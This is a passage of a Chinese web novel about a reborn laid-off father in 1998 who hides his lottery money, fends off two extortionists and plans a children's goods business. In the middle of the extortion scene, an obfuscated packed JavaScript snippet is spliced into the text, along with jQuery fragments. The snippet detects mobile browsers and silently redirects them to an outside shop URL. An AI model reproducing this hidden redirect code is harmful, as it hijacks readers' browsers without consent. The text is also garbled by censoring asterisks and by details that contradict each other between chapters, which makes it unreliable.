林凡没敢还嘴,只把笑笑往怀里紧了紧,小姑娘的小脑袋在他肩头蹭了蹭,还砸了下嘴,像是在梦里吃冰棍。
进了书店,中央空调的凉意瞬间裹住全身,混着旧纸张的霉味和新杂志的油墨清香,连呼吸都顺畅了。
书架是深棕色的实木做的,边角被常年摩挲得发亮,木纹里嵌着经年累月的指纹;几盏白炽灯悬在头顶,光线柔和,在书页上投下淡淡的影子,连灰尘在光里飘都显得慢了些。
他找了个最靠里的角落长椅坐下——挨着窗户,能看见外面的街景,一旦有异常能及时反应,又不容易被人从背后打量,是个能守能退的安全位置。
轻轻调整笑笑的姿势,让她的小脑袋靠在自己胸口,一只手托着她的屁股,另一只手护着她的后背,确保她睡得稳。
小姑娘的口水沾湿了他的衬衫领口,黏糊糊的;小手还攥着他的衣角,指节泛着浅粉,指甲盖里还沾着点早上玩沙子的灰。
林凡低头看了眼,心里软得像化了的奶糖——这是他这辈子唯一的牵挂,绝不能让她受半点委屈。
他左右扫了眼——左边的老人捧着本1982年版的《三国演义》,封面都卷了边,老花镜滑在鼻尖,翻页时手指习惯性地沾了点唾沫;
右边的姑娘扎着马尾,穿件洗得发白的校服,笔尖在笔记本上“沙沙”写着,时不时咬着笔杆皱眉,本子上记的全是英语单词。
没人注意他,这让他松了口气。
他像只警惕的鼹鼠,指尖飞快地摸向腰间
——先掏出塞在腰带里的现金,两沓十元纸币用白色橡皮筋捆着,展开时“哗啦”响,
他赶紧用手掌按住,动作轻得像怕吵醒笑笑。
指尖沾着汗,蹭在崭新的纸币上,留下淡淡的印子,他还特意把有印子的一面朝里折,怕被人看见。
他低着头,嘴唇无声地数着:
“一、二……二十……五十……”
数到两百张时,手指顿了顿——正好两千元,一分不少。
心脏还在“咚咚”跳,像要撞破肋骨,他甚至能听见自己的呼吸声在安静的角落里显得格外响。
又摸出贴身口袋里的存折,塑料封皮泛着冷光,边缘被他昨晚反复摩挲得有些**糙。他凑到窗边,借着自然光再看一遍
——账号、户名、金额,一个字都没看错,印刷的黑体字像颗定心丸,却也让他更紧张:这笔钱是笑笑的奶粉钱、幼儿园学费、将来的小学学费,是他们父女俩在这世上安身立命的生路。
怎么藏?
现金不能全带身上,太危险;存折更不能丢。
他的目光落在笑笑手边的旧帆布水壶上——
那是苏晚晴1995年给孩子买的,当时在国营百货大楼花了三块八,带子磨得发白,壶身印着“小熊维尼”的图案,维尼的耳朵因为洗了太多次,已经褪成了浅黄,露出里面的米白色帆布底色。
这是笑笑的宝贝,走到哪带到哪,连睡觉都要放在枕头边,没人会怀疑这个旧水壶里藏着东西。
正好瞥见脚边有个别人包书剩下的牛皮纸袋,皱巴巴的,还沾着点青黑色的书墨,边角撕了个小口。
他赶紧捡起来,拍了拍上面的灰,把一千五百元现金叠得方方正正——先对折,再折成三厘米宽的长条,最后卷成小卷,确保不会漏出来;
又把纸袋折成比水壶夹层小一圈的方块,塞进水壶后面的暗袋里——
这个暗袋是他昨晚用家里的旧棉线缝的,针脚细密,藏在水壶带子的连接处,外面用水壶带子勒紧,从表面看,只像水壶坠着点重量,
谁也想不到里面藏着相当于普通工人一个半月工资的现金。
剩下的五百元现金,他分成两份:
三百元塞进衬衫内侧的口袋,那是件旧的确良衬衫,他特意在口袋里缝了层衬布,钱贴着皮肤,能感受到纸币的温度,像揣了块小暖炉,一举一动都能察觉,丢不了;
两百元藏进笑笑的小裤兜里——笑笑穿的是苏晚晴织的开裆裤,裤兜有松紧带,他把钱卷成小卷,
塞到最里面,还用针线轻轻缝了道小口,就算有人搜,也未必会注意三岁孩子的口袋,更不会舍得用力掏开针线。
最后把存折重新塞进棉袄内衬的夹层——这件棉袄是他下岗前厂里发的劳保服,他昨晚用粗棉线缝了个巴掌大的夹层,针脚又密又深,像道看不见的防线。
做完这一切,他才长长吁了口气,后背的汗已经把衬衫浸得发潮,贴在皮肤上凉丝丝的,却觉得踏实——钱藏得妥帖,就像给笑笑加了层保护壳。
钱藏好了,该找方向了。
新华书店本身就是座宝库,他抱着笑笑,轻手轻脚在书架间穿梭。
没去碰那些封皮精致的经济书——《资本论》《经济学原理》,这些理论对现在的他没用,他需要的是能落地的实用信息,是能让他带着笑笑活下去、活得好的生意点子。
期刊区的杂志堆得像小山,封面蒙着层薄灰。
他抽出本1998年第6期的《大众软件》,封面印着台老式486电脑,屏幕上是模糊的《仙剑奇侠传》游戏画面,
旁边印着“拨号上网初体验,每分钟两**五”的标题;里面的广告满是“Windows95系统光盘,售价198元”“14英寸球面显示器促销,399元带回家”的字样,
还有篇《互联网:未来的财富新大陆》的短文,作者兴奋地写着“未来人们能在网上聊天、购物,甚至赚钱”,字里行间透着对新技术的陌生与期待。
林凡摩挲着纸页,指腹划过“网上购物”四个字,想起前世的淘宝、拼多多,想起手机支付的便捷,心里有了些模糊的方向
——未来的钱,一定和“方便”“好看”“新鲜”有关,现在虽然互联网还没普及,但人们对“新东西”的渴望已经在萌芽了。
又翻了本1998年第8期的《致富经》,封面印着“年入十万不是梦”的红色大字,格外扎眼;里面的广告吹得天花乱坠:
“养蜈蚣不愁卖,回收价保底五十元/斤,技术包教包会”
“种天麻,亩产收益过万,签订回收合同”。
林凡笑着摇摇头——前世他见过有人信了养蜈蚣的骗局,最后蜈蚣没养成,还赔了几千块,这些一眼就能看穿的骗局,他可不会碰。
但他也捕捉到些信号:这个年代,下岗潮刚过,很多人没工作,对“赚钱”的渴望有多迫切,对“新奇”的需求就有多强烈,只要找对路子,不怕没生意。
最在意的还是少儿区。
书架上的书少得可怜,加起来不到十本,还都摆在最底层。
《看图识字》的纸张粗糙得像砂纸,边缘卷着,还有几页缺了角,“日”字的横画都印歪了;几本童话书《白雪公主》《小红帽》翻得掉了页,用粗线缝着,画风老旧,公主的裙子还是灰扑扑的,连颜色都没印匀;
唯一本《育儿知识大全》是1985年版的,里面的喂养建议还停留在
“米糊加白糖,省钱又长肉”
“孩子发烧用酒精擦身子”,跟他前世知道的
“辅食加高铁米粉”
“发烧物理降温用温水”差太远。
“这么大的空白……”
林凡小声嘀咕,指尖摸着粗糙的书页,心里的想法越来越清晰——围绕“孩子”做文章,不只是卖冰棍,还能做更高品质的东西:
更安全的辅食(比如无添加的米粉)、更软的童装(现在的童装多是粗棉布,磨孩子皮肤)、更精美的绘本(现在的书太粗糙,家长肯定愿意给孩子买好的)。
这不仅是生意,更是他想给笑笑的——前世他没能力给苏晚晴和笑笑好生活,这一世,他要让笑笑用上最好的,也让其他像笑笑一样的孩子能用上好东西,毕竟谁不疼自己的孩子呢?
在书店待了两个多小时,笑笑终于揉着眼睛醒了,小嗓子糯糯的:
“爸爸,这是哪儿呀?好多书……”
她抓着林凡的手指,指尖轻轻捏着,眼神里满是好奇,还伸手去够旁边书架上的《看图识字》,小手指指着封面上的“猫”字,歪着头问:
“爸爸,这个是什么呀?”
“这是书店,以后爸爸常带你来看书,给你买新绘本,好不好?”
林凡给她喂了点水,又从帆布包里摸出个毛桃——早上在菜市场花一毛钱买的,还新鲜,表皮带着细细的绒毛,顶端的红晕像小姑娘的脸蛋。
他用衣角擦了擦桃子,小心翼翼地去皮,把果肉递到笑笑嘴边,看着她小口啃着,汁水流到手上,她赶紧用舌头舔干净,小脸上沾着桃肉,像只偷吃的小花猫,心里软乎乎的。
快到中午,该回县城了。他在书店门口的“张记包子铺”给笑笑买了个肉包子
——包子皮白得像雪,咬一口能流出油,里面的肉馅是新鲜的五花肉,还加了点葱花,香味能飘出老远,花了一毛钱;
自己啃了个五分钱的白面馒头,干得噎人,就着旁边小摊上两分钱一碗的凉水咽下去,馒头渣卡在喉咙里,他咳了两声,才顺下去。
然后赶往汽车站,买了两张回县城的车票,每张五块钱,是他昨天卖五十根冰棍才能赚回来的钱。
回程的班车依旧拥挤,车身上印着“江州-青县”的字样,车座上的海绵都露了出来,有人扛着装满土豆的麻袋,有人提着鸡笼,鸡粪味混着汗味飘过来,呛得笑笑皱起了小眉头。
笑笑靠在他怀里,拿着啃剩的毛桃核玩,用手指抠着上面的纹路,时不时把桃核递到他嘴边:“爸爸,你吃。”林凡笑着摇头:
“笑笑吃,爸爸不吃。”
班车“哐当”停在青县汽车站时,太阳已经偏西,把地上的影子拉得老长,有两米多。林凡抱着笑笑刚走出车站,两个身影突然拦在面前
——**头和高壮青年,吓得笑笑往他怀里缩了缩,小手紧紧攥着他的衣领,小脑袋埋在他脖子里,不敢抬头。
**头叫**,是县城里有名的街溜子,以前跟林凡在一个厂子里当学徒,后来因为偷东西被开除了。
他穿着件洗得发白的“江州机床厂”工装T恤,领口卷着边,露出黝黑的脖子,脖子上还有道浅浅的刀疤,是上次跟人抢地盘被砍的;
他嘴角勾着痞笑,手指抠着T恤领口,眼神在林凡身上扫来扫去,像在找什么值钱的东西——昨天他在小学门口看林凡卖冰棍,一中午就赚了不少**票,今天又见林凡坐班车去市区,肯定以为他捞到了快钱,想敲诈点。
高壮青年叫王虎,是**的跟班,以前在县城菜市场帮人收保护费,后来因为**被抓进去过。
他跟在**后面,嘴里叼着根“红塔山”的廉价烟,烟味呛人,裤腰带上别着截明晃晃的一字螺丝刀,螺丝刀上还有锈迹,反光刺得人眼睛疼;他眼神凶巴巴的,像头饿狼,盯着林凡的帆布包,好像包里面藏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607473|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着金银财宝。
林凡的心“咯噔”一下,瞬间沉了下去——麻烦还是来了。
后背的汗瞬间冒出来,贴在皮肤上,凉得刺骨,却不敢动,怕吓到怀里的笑笑。
他想起前世,就是这样被**和王虎堵在巷子里,抢了他的遣散费,还把他打了一顿,让他躺了半个月。
“哟,这不是凡哥吗?”
**嬉皮笑脸地凑过来,声音里满是嘲讽,
“昨天冰棍卖得挺火啊,一中午收了不少钢镚吧?今天还去市里潇洒了?这是发大财了,忘了兄弟了?”
他一边说,一边用胳膊肘碰了碰王虎,两人都笑了起来,笑声里满是恶意。
林凡心里门清——这些街溜子无所事事,就靠敲诈过活。
昨天见他卖冰棍赚了点**票,今天又见他去了市里,肯定以为他是去进货或者找活干,想敲诈点“路费”。
他们绝想不到彩票的事,顶多是要个十块八块,但麻烦一旦缠上,就像狗皮膏药,甩都甩不掉,上次有个卖菜的被他们缠上,天天来要保护费,最后没办法,只能换地方卖菜。
他立刻换上副疲惫的愁容,叹了口气,拍了拍笑笑的背,声音放得软:
“发啥财啊,强子兄弟。你又不是不知道,孩子她妈走得早,前几天她娘家来人,非要我去市里说清楚,说我没照顾好笑笑,来回车费花了五十多,还买了点礼品,屁事没办成,还受了一肚子气。
你看我这衬衫,还是前年厂里发的,都洗得透光了,哪有钱啊。”他故意扯了扯衬衫领口,露出里面洗得发黄的旧秋衣,秋衣的袖口还破了个洞。
把去市里的原因扯到家庭**上——这种事私密,又没人愿意深究,还能暗示自己没钱,是个穷光蛋。**和王虎都是怕麻烦的人,要是知道是家庭**,肯定不愿意掺和。
王虎吐掉烟头,烟蒂落在地上,用脚碾了碾,上前一步,他比林凡高半个头,阴影罩住林凡,声音粗哑得像磨了砂纸:
“少跟我扯这些没用的!昨天我在小学门口看得清清楚楚,你收了不少**票!哥儿几个手头紧,借点钱花花呗?”
他的手故意撩了下汗衫,露出那截螺丝刀,反光晃在笑笑脸上,吓得小姑娘往林凡怀里又缩了缩,小声哭了起来。
林凡的心跳漏了一拍,却故意把腰弯得更低,脸上露出哀求的神色,声音都带着点颤:
“兄弟,真不是我不借。你看我这情况,厂里下岗没工作,笑笑都快养不活了。昨天卖那几根冰棍,也就赚了块八**,够今天的车费和孩子的包子钱。不信你搜,我身上就剩几分钱坐公交了。”
一边说,一边主动掏出口袋——先摸出上衣兜,掏出三枚一分的钢镚,放在手心,钢镚上还沾着点汗,
“你看,就这些,还是早上卖了两根冰棍剩下的。”
又翻了翻裤兜,空空的,连个硬币影子都没有。那五百元藏得隐蔽,贴着皮肤、塞在孩子兜里,根本不可能被随手摸到。
**和王虎盯着他手里的钢镚,又看了看笑笑蜡黄的小脸、林凡洗得发白的衬衫和破了洞的秋衣,眼神里的怀疑淡了些。
林凡以前穷得叮当响的样子,他们早就记在心里——冬天穿单鞋,脚趾头都露在外面;
夏天啃咸菜,连个肉包子都舍不得买;
苏晚晴生病的时候,他还跟他们借过钱,最后没还上,被他们骂了一顿。
一时半会儿,他们也不信他能突然有钱。
“妈的,真是个穷鬼!”
王虎啐了口,觉得为这点小钱动手不值得,挥了挥手,
“滚吧滚吧,别在这儿碍眼!下次再让我看见你,给我远点走!”
“谢谢兄弟,谢谢兄弟!”
林凡连声道谢,抱着笑笑,低着头快步走,背后还传来他们的讥笑:
“还去市里呢,我看是去要饭了!”“就他那样,一辈子也发不了财,活该穷死!”
一直走出很远,拐进筒子楼那条窄巷——墙边长着半人高的野草,墙角堆着垃圾,有几个破纸箱和烂菜叶,散发着酸臭味
——他才靠在斑驳的砖墙上,大口喘气。
后背的汗已经把衬衫浸得透湿,连胳膊都在抖——这是他重生后第一次真切感受到恶意,仅仅是卖了几根冰棍,就引来麻烦。
要是彩票的事泄露,后果不堪设想,笑笑可能都会有危险。
笑笑小手抓着他的衣角,小声问:
“爸爸,那些叔叔是坏人吗?他们的刀好亮,我怕……”
她指的是螺丝刀,吓得声音都在颤,眼眶还红红的。
林凡蹲下身,用袖子擦了擦女儿的脸,努力挤出个笑,声音放得柔:
“不是坏人,就是认错人了,想跟爸爸问路呢。笑笑不怕,爸爸会保护你,以后再也不让你见着他们了。”
他把女儿抱起来,紧紧搂在怀里,感受着她小小的身体的温度,心里的决心越来越硬——他一定要尽快赚够钱,带笑笑离开这个鱼龙混杂的地方。
抬头看向自家那扇破旧的窗户,在夕阳下泛着暖光,玻璃上沾着灰,还贴着张1997年的旧年画,画的是胖娃娃抱鲤鱼,年画的边角已经卷了;
窗户下面挂着个旧花盆,里面种着苏晚晴生前养的仙人掌,还活着,绿油油的,透着股生机。
楼道里的声控灯坏了一半,得使劲跺脚才亮,亮了之后能看见墙上的涂鸦
——“王二到此一游”“李三是大笨蛋”,字迹歪歪扭扭;楼梯的扶手沾着油污,摸上去黏糊糊的,是邻居做饭时溅上去的;
楼梯上还堆着些旧家具,有个破沙发和一张缺腿的桌子,走路都得绕着走。
他抱着笑笑走上楼梯,每一步都走得很稳,生怕摔着。
指尖摸着怀里的存折,心里的计划越来越清晰:明天一早就去县城的批发市场,先进十件软和的纯棉童装(现在的童装多是粗布,纯棉的肯定好卖)、两斤奶片(孩子都爱吃,县城里只有供销社有卖,还经常断货),先在小学门口试试水;
等稳定了,就租个小摊位,再也不用在路边风吹日晒;再攒点钱,就换个大点的房子,带笑笑离开这鱼龙混杂的筒子楼,去县城东边的新小区住,那里有幼儿园,环境也好。
他知道,
暗处的水流已经开始涌动——可能是街溜子的敲诈,
可能是邻居的窥探(筒子楼里的邻居都爱打听事,上次他买了袋奶粉,
第二天全楼都知道了),可能是未来生意上的麻烦(批发市场的摊主可能会缺斤少两,同行可能会抢生意)。
但他不再是前世那个浑浑噩噩、只会抱怨的林凡了——他怀里抱着笑笑,兜里揣着希望,脑子里有未来的方向。
这只刚扬帆的小船,必须更小心地避开暗礁,才能慢慢长成能抵御风浪的巨轮。
他抱着笑笑,站在自家门口,掏出钥匙开门,钥匙**锁孔,
“咔嗒”一声,门开了,
屋里飘出股淡淡的仙人掌香味——这是家的味道,是他要守护的味道。
第八章:萌芽的蓝图
回到那间不足十平米的筒子楼小家时,暮色已经漫进了楼道。
墙皮像干枯的鳞片般卷着边,指尖一蹭就掉渣,空气里却飘着隔壁王婶家炒咸菜的香——那咸香裹着点酱油的醇厚,混着铁锅烧透的烟火气,勾得人喉头轻轻发紧,是这破败楼道里少有的暖意。
林凡反手攥住门后那根老松木闩。
这木闩跟着他搬了三次家,握在手里的地方被磨得泛出琥珀色的包浆,暖得像揣了块老玉;
深褐色的木纹里嵌着经年累月的油烟灰,是过去三年里每个灶台熏出来的印记,指尖抠都抠不下来,倒像藏着无数个哄睡笑笑后,他独自坐在灯下抽烟的难眠夜晚。
他将木闩往槽里一推,“咔嗒”一声脆响炸开,在连呼吸都听得见的寂静楼道里,像块石头砸进了静水,余音绕着剥落的墙皮转了两圈,才慢慢散了
——这声音是道有形的防线,把巷口刘强那群街溜子的嬉闹声、酒瓶碰撞的“叮当”声,都牢牢挡在了门外。
门楣上还贴着半张去年除夕的春联。
上联“岁岁平安”只剩“岁岁”两个字,红纸被风吹得卷了边;
下联“年年如意”泡在雨痕里,墨迹晕成了淡黑的云;
唯有横批“阖家欢乐”还能看清,红纸褪成了浅粉,边角卷得像晒干的桃花瓣,却莫名添了点熨帖的暖意。
至少这半张纸能证明,这里不是临时落脚的破屋,是他和笑笑的家,是有过除夕烟火的地方。
他背靠着冰凉的木门,肩胛骨抵着墙皮上凸起的水泥疙瘩,那硬邦邦的触感戳得人发疼,却让他莫名踏实。
他长长地、无声地吁出一口气——那口气从胸腔里滚出来,带着街面上的尘土味,胸口的紧绷感才慢慢松开,像被晚风打散的晨雾。
方才在巷口,**带着两个小弟拦着他时,他甚至摸到了对方口袋里**鞘的冷硬——那短短三分钟的对峙,像一盆刚从井里打上来的凉水,兜头浇熄了他从彩票站兑奖归来的燥热,只留下沉甸甸的警醒:
一千五百块,在他眼里是救急的救命钱、是笑笑能多喝几瓶牛奶的奶粉钱,在别人眼里,可能就是块招灾的肥肉。
怀里的笑笑小手还死死攥着他的衣领,指节泛得发白,像刚剥壳的莲子。
她的大眼睛里蒙着层不安的水汽,连呼吸都轻得像怕吹跑什么,小脑袋往他怀里埋得更深,鼻尖蹭着他汗湿的衬衫,那点温热的触感透过布料传过来,像团小火焰,烧得他心口发暖。
“笑笑不怕,到家了,坏人进不来。”
林凡放柔了声音,指腹轻轻蹭了蹭女儿汗湿的鬓角——那几缕碎发沾在皮肤上,带着孩子特有的、混着奶味的温热。
他走到床边坐下,这张铁架床的弹簧早就松了,一坐就往下陷,发出“吱呀”的轻响。
他小心地将笑笑放在腿上,手护着她的腰,怕床板上凸起的弹簧硌着她。
接着,他解开了缠在腰间的水壶带子。
那是个军绿色的铝制水壶,壶身坑坑洼洼的,是他以前在工厂里做学徒时发的,壶盖的胶圈早就没了,只能靠绳子缠紧。
水壶里没装水,而是裹着个牛皮纸袋,袋口用细麻绳缠了三圈,边角还沾着点书店的墨痕——早上他去买笔记本时,不小心蹭到了柜台上没干的墨水,那点黑渍像颗小痣,印在米黄色的纸面上。
指尖摸上去,牛皮纸袋里一千五百元的厚度硬邦邦的,纸币折痕处的棱角硌着指腹,那触感让他悬了一路的心,终于彻底落地,像块石头落进了安稳的土坑。
他把分散的钱都摊在床头的旧报纸上——那是张昨天的《县报》,头版还印着“下岗职工再就业扶持政策”的标题,油墨味还没散。
贴身藏的三百元叠得方方正正,带着他的体温,纸币边缘被汗浸得有点软,摸起来发潮;笑笑裤兜里的两百元卷成了小卷,沾着点孩子的奶香味,大概是早上喝牛奶时蹭到的,指尖一捻就能闻到;
水壶里的一千五百元裹在纸袋里,一沓崭新的十元纸币,压得报纸都往下陷,边角的金线在灯下闪着微光;
还有那张绿色的存折,塑料封皮泛着冷光,上面印着“中国农业银行”的字样,里面只有去年攒下的八百块——那是他顶着夏天的大太阳,在街头卖了三个月冰棍,省吃俭用攒的,连一根五分钱的冰棒都没舍得给自己买过。
钱不多,加起来才两千八百块,摊在灯下的旧报纸上,却像堆小小的、会发光的希望,照亮了屋里的昏暗。那些纸币上的人像,在昏光里仿佛都笑着,映得他眼底也亮了。
他开始找家里的“隐秘角落”,每一个地方都是他以前就琢磨好的,像藏着秘密的小盒子:
床底第三块松动的砖块——他用指尖抠住砖缝,轻轻一撬,“哗啦”掉下来点碎土,里面积着层薄薄的灰,指尖一拂就扬起细尘。
尘雾里藏着颗笑笑上个月掉的乳牙,乳白色的牙釉上还沾着点淡红的血丝——那是他连夜用软纸包好塞进去的,当时女儿还哭着说“牙牙飞走了”,他哄了半天才哄好。
他把存折塞进去,存折刚好卡在砖缝里,不晃也不掉,再把砖块按回去,拍了拍上面的灰,看起来和其他砖没两样,只有他知道,这里藏着他们父女俩的“底气”。
墙皮剥落的裂缝——客厅墙角有道两指宽的裂缝,是上次下雨漏水泡的,里面还留着水浸过的黑印。
他把两百元现金折成三叠,每叠都叠成小方块,像叠纸船似的,小心翼翼地塞进裂缝里,生怕碰掉了旁边的墙皮。
外面用张1996年的旧报纸盖住——那报纸上还印着“物价平稳,鸡蛋每斤0.7元”的标题,边角都发黄发脆了,刚好能挡住裂缝,不细看根本发现不了。
旧棉袄的内衬夹层——那件藏青色的棉袄是苏晚晴生前缝的,袖口都磨破了,露出里面的棉絮,他却一直没舍得扔。
棉袄左襟的内衬里,苏晚晴特意缝了个三寸宽的夹层,针脚密得能数清,每一针都比指甲盖还小——那是晚晴怀着笑笑时,坐在灯下缝的,当时她说“以后万一难了,能藏点应急的钱,别让孩子受委屈”。
他把三百元零钱塞进去,指尖还能摸到棉袄里的棉絮,软乎乎的,带着点阳光晒过的味道——那是上个月晴天时,他在楼顶晒过的,当时还特意拍了拍,让阳光多钻进去点。
钱藏得像地里的土豆,扎实;像墙缝里的草籽,隐蔽;像棉袄里的棉絮,暖和,每一处都带着土腥味的踏实,是能攥在手里的安稳。
最后,他从里面数出五十元,压在枕头下——这是接下来五天的开销,包括买米、买咸菜,多一分都不带走,他得省着,把钱花在“刀刃”上。
做完这一切,天色已擦黑。窗外的蝉鸣渐渐弱了,从“知了知了”的狂叫,变成了断断续续的低吟,像累极了的人在喘气。
林凡生起了煤炉子,那是个铁皮做的小炉子,炉口都锈了,边缘掉了块铁皮,露出里面的黑炭。他夹起一块蜂窝煤,“咚”地一声放进炉子里,火星子簌簌往下掉,落在地上灭了,留下点点黑痕,映得旁边的铁锅泛着暖光。
他从网兜里掏出新买的豆油——是本地榨油坊的散装豆油,装在透明的塑料瓶里,油色像融化的琥珀,清澈透亮。
他倒了两勺油,油刚碰到热铁,就“滋滋”响起来,一股浓郁的豆香瞬间飘满屋子,勾得笑笑从桌边探出头,小手抓着桌沿,脚尖踮得老高,连咽口水的声音都听得见
——“咕咚”一声,在安静的屋里格外清楚,像颗小石子掉进了水里。
他从冰箱里拿出块五花肉,约莫半斤重,肥瘦相间,是早上在菜市场买的,花了三块五。
他把肉切成薄片,放进锅里煸,油花“噼里啪啦”地冒得欢,肉皮先皱起来,像老人的手背,再从粉红变成浅黄,最后裹上一层金黄的油亮,猪油的香味混着肉香,飘得满楼道都是,连隔壁王婶家的咸菜香都压下去了。
等肉煸得出油,他再把洗好的西红柿切进去——西红柿是本地菜农种的,个头不大,皮上还带着点土,但是酸甜多汁,一进锅就“嘶啦”一声,酸香瞬间腾起来,笑笑的眼睛更亮了,直勾勾地盯着锅里,小舌头忍不住舔了舔嘴角。
一碗西红柿打卤面端上桌时,面条还冒着热气,裹着浓稠的卤汁,红色的西红柿块、金黄的肉片、绿色的葱花,撒在上面格外好看,像幅小小的画。
笑笑拿起小勺子,扒拉着往嘴里送,卤汁沾在嘴角,她用舌头一卷,连下巴上的汁都舔干净,小脸蛋上沾了点面屑,像只刚偷吃完的小花猫,可爱得让人心软。
吃到最后,笑笑的小肚子撑得滚圆,像个热乎乎的小皮球。她打了两个饱嗝,“嗝——嗝——”,小手摸着肚子,笑出两个浅浅的小酒窝,眼睛弯成了月牙。
看着女儿脸上纯粹的笑,林凡心里的踏实,比揣着那两千八百块还珍贵——这才是他要的日子,不是纸面上的数字,是一碗热乎的面条,是孩子吃饱后的笑容,是晚上能睡个安稳觉,是不用再担心下一顿有没有吃的。
夜晚,哄睡笑笑后,林凡坐在昏黄的钨丝灯下。那盏台灯是他从旧货市场淘的,五块钱,灯线都露着铜丝,得小心地捏着开关才亮,稍微一松就灭,他已经摸熟了力道。
桌上放着本格子笔记本,16开大小,封面有个指甲盖大的破洞,用透明的“友谊”牌胶带粘着——是他从书店买的处理品,五毛钱一本,原本是被人撕了两页的,他却觉得划算,至少能写字。
还有支HB铅笔,笔帽早就没了,笔尖钝得像个小疙瘩,橡皮擦得发黑,还沾着点铅笔屑——是捡的隔壁小孩丢的,他用小刀削了削,木屑卷成小卷,落在桌上像撒了把细雪,削完后还能写,就是字迹有点粗。
他握着笔,指尖裹着铅笔的凉意,笔尖在纸上“沙沙”响,开始写计划——不是飘在天上的空想,是能踩在地上的步子,每一笔都写得认真,歪歪扭扭的字里藏着劲,像刚学走路的孩子,虽然不稳,却透着倔强。
写错了就用橡皮擦掉,纸页上留下淡淡的擦痕,像人生里的小坎坷,擦过了还能继续写。
第一步:生存与伪装(1-2周)
1.生活改善要“慢”
明天一早就去菜市场:买小袋米(称五斤,选珍珠米,1.2元一斤,五斤刚好6元,够吃一周)——选珍珠米是因为煮出来糯,笑笑爱吃,以前总说“爸爸,米米软乎乎的”,五斤刚好装在旧布袋里,提着不沉;
一壶豆油(小瓶一斤装,3.5元,省着用,一次只放两勺)——上次放多了,笑笑说“油味有点重”,这次得少放;十个鸡蛋(土鸡蛋,0.8元一个,比洋鸡蛋贵两**,但营养好,给笑笑补身体)——土鸡蛋的蛋黄更黄,炒出来香,笑笑能多吃半碗饭;
一小瓶牛奶(1.5元,每天早上热给笑笑喝)——之前买过一次,笑笑喝得欢,说“像喝甜水”。
理由得编圆:
“昨天去市里卖冰棍,多赚了几块,总不能让孩子跟着我喝稀粥”。偶尔买斤苹果(1.5元一斤,买两个)——选红通通的,擦得干干净净,笑笑爱吃甜的;
割块肉(半斤三块五,一周一次)——不能买多,买多了容易被邻居问,频率慢慢提——这周一次肉,下周两次,
让张婶她们慢慢习惯他“踏实赚钱”的新样子,而非“突然暴富”。
毕竟张婶她们的眼睛亮着呢,住在筒子楼里,谁家买了块肉、添了件新衣服,转天就能传遍整个楼道,太急容易露马脚,得“慢”,慢得像熬粥,慢慢熬出香味。
2.信息收集要“细”
每天下午带笑笑去集市、小学门口转——选“向阳小学”门口,那里的家长多是附近工厂的职工,手头比普通人家宽裕,愿意给孩子花钱,而且孩子多,能看出喜欢啥。
看的细节要具体:
孩子书包上挂什么贴纸(是不是比本地小卖部卖的亮?有没有闪粉?
昨天看见个男孩挂“樱桃小丸子”的,边角带闪粉,比本地卖的塑料贴纸好看,旁边的小姑娘盯着看,手里的棉花糖都忘了咬);
手里攥着什么零食(有没有没见过的包装?
今天看见三个女孩喝“娃哈哈AD钙奶”,红色吸管,瓶身印着卡通娃娃,五毛钱一瓶,孩子都爱喝,喝完还把空瓶子攥在手里,舍不得扔);
身上穿什么衣服(料子舒不舒服?有没有新款式?
有个小姑娘穿的连衣裙是纯棉的,比本地卖的粗布软,孩子穿得自在,跑的时候裙子飘起来,像小蝴蝶)。
听的抱怨要记牢:
是“玩具三天就坏”(昨天听见个妈妈说,给孩子买的铁皮青蛙,玩了两天弹簧就掉了,孩子哭了半天);
还是“零食太甜怕坏牙”(张婶上次说,笑笑总想吃糖,怕坏了牙,想找不那么甜的零食);
甚至“买不到孩子喜欢的发卡”(今天看见个小姑娘的发卡掉了片花瓣,还宝贝得不行,说县里没好看的,哭着让妈妈再买,妈妈叹了口气说“哪有好看的,都是老款式”),这些都要记在心里,像存账本一样,一笔都不能漏。
3.安全第一要“躲”
少出门,尤其避开**那样的街溜子——**以前跟他在一个工厂,下岗后就混日子,经常抢小摊贩的钱,上次就抢过卖烤红薯的老李五块钱,老李敢怒不敢言。
卖冰棍的活先停了,太扎眼——推着冰棍车在街上来回走,像个移动的“靶子”,容易被**盯上,等风声过了再说。
白天尽量待在家里,整理收集的信息,晚上只在巷口转一圈,不跟人多聊,遇到熟人问就说“在家看孩子,怕孩子闹”,多一句都不说,言多必失。
第二步:启动与试水(1-3个月)
1.项目选在“孩子”身上
这是他最熟的,也是最放心的——毕竟天天带笑笑,知道孩子喜欢什么,家长在意什么:
食品类:
找包装好的儿童饼干(要独立小包装,干净卫生,家长放心,比如“动物饼干”,
一块一个造型,小熊、小兔的,孩子喜欢,家长也愿意买)、独立果丹皮(不粘手,酸甜口,孩子爱吃,还能当零食哄孩子,比糖健康),避开油炸的(家长怕孩子吃了上火,比如炸薯片,虽然孩子喜欢,但家长不买,白压货);
玩具/文具类:
批发本地少见的磁性写字板(选小号的,方便携带,写了能擦,省纸笔,家长爱买,还能说“开发智力”,让孩子多学点东西)、
带香味的橡皮(草莓味、橘子味各进一半,孩子喜欢闻,一块两毛钱,便宜,家长不心疼)、印着卡通的铅笔盒(最近《还珠格格》火,电视里天天演,印小燕子的肯定好卖,一个两块钱,孩子见了就想要);
童装类:
从市里进几件质量好的纯棉童装(摸着手软,像云朵似的,孩子穿得舒服,比如连衣裙,有粉色、蓝色两种,粉色显白,女孩喜欢,
一件八块钱批发,卖十五块,有利润,还能赚点),先拿三五件,试试水,卖不出去还能给笑笑穿,不浪费。
2.销售要“灵活”
不摆摊,用自行车流动卖(以后买辆二手的“永久”牌自行车,一百块以内能拿下,结实耐用),省管理费还隐蔽,遇到熟人就说“帮朋友带点货,顺便赚点零花钱”,不张扬;
跟熟家长约“下次带好货”,比如张婶要是问有没有发卡,就说“下次去市里给笑笑带,您要不要也带一个?
选个好看的款式”,提前留货,攒熟客;
